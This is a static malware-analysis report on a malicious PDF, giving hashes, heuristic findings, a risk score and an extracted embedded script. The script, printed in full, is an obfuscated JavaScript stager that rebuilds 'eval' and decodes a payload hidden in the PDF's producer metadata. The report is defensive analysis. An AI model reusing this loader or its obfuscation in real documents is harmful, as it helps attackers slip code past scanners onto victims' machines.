Malicious PDF — malware analysis report

Static analysis result for SHA-256 a23bbdb85225446f…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-09
MD5: f3a062420a9db70060eca77e63dd40d8 SHA-1: 3ccf72f2be9f896c7e95073e57d9690b6b7d70fb SHA-256: a23bbdb85225446f2c83c200e3e56ae567417179efd03a5690e8a5236d10ca90
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream, named javascript_obj0001_000.js, likely contains obfuscated code designed to execute malicious actions, such as downloading a second-stage payload. The use of String.fromCharCode further suggests obfuscation techniques common in malicious scripts.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    rst\(rst\('String.fromCharCode\(' + vanf + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x56AB 384 bytes
SHA-256: 494ad06f39545936439f58ecc008b0f1ec1ec6b24686028f6b46219018fa4ead
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
zhvig = app;
mcikq = new Date(2010,11,4);
var poagv='';
var oks = 'e'+mcikq.getDay()+'a'+poagv+'l';
oks = oks.replace('6','v');
rst=zhvig[oks];
var poagv='';
rst('va'+poagv+'r wtci=th'+poagv+'i'+poagv+'s');
gvfcf='pr' + poagv + mcikq.getDay() + poagv + 'uc' +'er';
gvfcf = gvfcf.replace('6', 'od');
var vanf = wtci[gvfcf];
rst(rst('String.fromCharCode(' + vanf + ')'));

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